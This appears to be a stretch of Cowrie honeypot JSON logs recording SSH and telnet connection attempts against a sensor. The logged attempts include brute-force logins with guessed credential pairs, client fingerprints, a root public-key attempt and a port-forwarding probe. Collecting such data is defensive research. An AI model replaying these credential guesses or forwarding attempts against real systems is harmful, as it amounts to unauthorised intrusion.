{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:19.030015Z","src_ip":"45.148.10.121","session":"5ea9abb42703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:19.120508Z","src_ip":"45.148.10.121","session":"5ea9abb42703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42136,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbaaf0f75530","protocol":"telnet","message":"New connection: 128.199.8.54:42136 (159.203.135.109:23) [session: bbaaf0f75530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:39.379596Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53580,"dst_ip":"159.203.135.109","dst_port":23,"session":"31b06e11239a","protocol":"telnet","message":"New connection: 128.199.8.54:53580 (159.203.135.109:23) [session: 31b06e11239a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:58.985552Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":42772,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aaa50afae8b","protocol":"ssh","message":"New connection: 43.160.242.74:42772 (159.203.135.109:22) [session: 4aaa50afae8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:00.178467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:00.183100Z","src_ip":"43.160.242.74","session":"4aaa50afae8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:00.416417Z","src_ip":"43.160.242.74","session":"4aaa50afae8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superadmin","password":"123456","message":"login attempt [superadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:01.363113Z","src_ip":"43.160.242.74","session":"4aaa50afae8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:02.595853Z","src_ip":"43.160.242.74","session":"4aaa50afae8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39104,"dst_ip":"159.203.135.109","dst_port":23,"session":"d88dacac9743","protocol":"telnet","message":"New connection: 128.199.8.54:39104 (159.203.135.109:23) [session: d88dacac9743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:06.074033Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55682,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc90de59fc60","protocol":"ssh","message":"New connection: 103.15.226.202:55682 (10.17.0.5:22) [session: bc90de59fc60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:11.029627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:11.035103Z","src_ip":"103.15.226.202","session":"bc90de59fc60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:11.290540Z","src_ip":"103.15.226.202","session":"bc90de59fc60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd@1234","message":"login attempt [root/Abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:12.065136Z","src_ip":"103.15.226.202","session":"bc90de59fc60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.63157391548157,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:13.011071Z","src_ip":"128.199.8.54","session":"bbaaf0f75530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:13.320961Z","src_ip":"103.15.226.202","session":"bc90de59fc60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.21693825721741,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:32.202394Z","src_ip":"128.199.8.54","session":"31b06e11239a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.590006828308105,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:29:39.663941Z","src_ip":"128.199.8.54","session":"d88dacac9743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":57508,"dst_ip":"159.203.135.109","dst_port":22,"session":"124131b99dd2","protocol":"ssh","message":"New connection: 43.160.242.74:57508 (159.203.135.109:22) [session: 124131b99dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:00.570413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:00.575611Z","src_ip":"43.160.242.74","session":"124131b99dd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:00.817852Z","src_ip":"43.160.242.74","session":"124131b99dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdlkj","message":"login attempt [ubuntu/asdlkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:01.804697Z","src_ip":"43.160.242.74","session":"124131b99dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:03.047140Z","src_ip":"43.160.242.74","session":"124131b99dd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":36812,"dst_ip":"159.203.135.109","dst_port":22,"session":"4537e3f2fe47","protocol":"ssh","message":"New connection: 118.194.229.94:36812 (159.203.135.109:22) [session: 4537e3f2fe47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:10.886167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:10.890549Z","src_ip":"118.194.229.94","session":"4537e3f2fe47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:11.061890Z","src_ip":"118.194.229.94","session":"4537e3f2fe47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwer","message":"login attempt [ubuntu/123qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:11.780929Z","src_ip":"118.194.229.94","session":"4537e3f2fe47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:12.956766Z","src_ip":"118.194.229.94","session":"4537e3f2fe47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47744,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb075108f86d","protocol":"telnet","message":"New connection: 69.6.249.0:47744 (159.203.135.109:23) [session: bb075108f86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:23.361528Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47748,"dst_ip":"159.203.135.109","dst_port":23,"session":"b31bd607fcac","protocol":"telnet","message":"New connection: 69.6.249.0:47748 (159.203.135.109:23) [session: b31bd607fcac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:24.372992Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46688,"dst_ip":"159.203.135.109","dst_port":23,"session":"892347570468","protocol":"telnet","message":"New connection: 128.199.8.54:46688 (159.203.135.109:23) [session: 892347570468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:37.059031Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48880,"dst_ip":"159.203.135.109","dst_port":23,"session":"e40c0cca2226","protocol":"telnet","message":"New connection: 128.199.8.54:48880 (159.203.135.109:23) [session: e40c0cca2226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:38.063437Z"}
{"eventid":"cowrie.session.closed","duration":30.752737283706665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:54.114153Z","src_ip":"69.6.249.0","session":"bb075108f86d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.921836376190186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:30:56.294705Z","src_ip":"69.6.249.0","session":"b31bd607fcac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":35902,"dst_ip":"159.203.135.109","dst_port":22,"session":"52fcdce2ae7a","protocol":"ssh","message":"New connection: 43.160.242.74:35902 (159.203.135.109:22) [session: 52fcdce2ae7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:02.175975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:02.180394Z","src_ip":"43.160.242.74","session":"52fcdce2ae7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:02.429853Z","src_ip":"43.160.242.74","session":"52fcdce2ae7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server1","password":"password","message":"login attempt [server1/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:03.450437Z","src_ip":"43.160.242.74","session":"52fcdce2ae7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:04.699835Z","src_ip":"43.160.242.74","session":"52fcdce2ae7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.64389181137085,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:11.707030Z","src_ip":"128.199.8.54","session":"e40c0cca2226","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.262399673461914,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:12.321339Z","src_ip":"128.199.8.54","session":"892347570468","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41336,"dst_ip":"159.203.135.109","dst_port":23,"session":"96054cd80ab8","protocol":"telnet","message":"New connection: 128.199.8.54:41336 (159.203.135.109:23) [session: 96054cd80ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:20.129965Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43166,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4662fbe27bb","protocol":"telnet","message":"New connection: 128.199.8.54:43166 (159.203.135.109:23) [session: f4662fbe27bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:20.156888Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.189.213.72","src_port":38158,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5703042c1cc","protocol":"telnet","message":"New connection: 173.189.213.72:38158 (159.203.135.109:23) [session: c5703042c1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:32.340904Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40954,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5b2deb164a0","protocol":"telnet","message":"New connection: 128.199.8.54:40954 (159.203.135.109:23) [session: d5b2deb164a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:34.486131Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.33","src_port":58022,"dst_ip":"10.17.0.5","dst_port":22,"session":"550cb70449d5","protocol":"ssh","message":"New connection: 188.44.20.33:58022 (10.17.0.5:22) [session: 550cb70449d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:44.004109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:44.008789Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:44.145406Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:b2:0f:62:a5:f5:4f:36:f9:63:5f:a2:1c:f6:d9:b1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDzrWK3CdFXUhCkYLfoR4ujg2Xha1lGqbI+T9jbnGlk3","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e0:b2:0f:62:a5:f5:4f:36:f9:63:5f:a2:1c:f6:d9:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:44.776575Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:b2:0f:62:a5:f5:4f:36:f9:63:5f:a2:1c:f6:d9:b1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDzrWK3CdFXUhCkYLfoR4ujg2Xha1lGqbI+T9jbnGlk3","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:44.780712Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
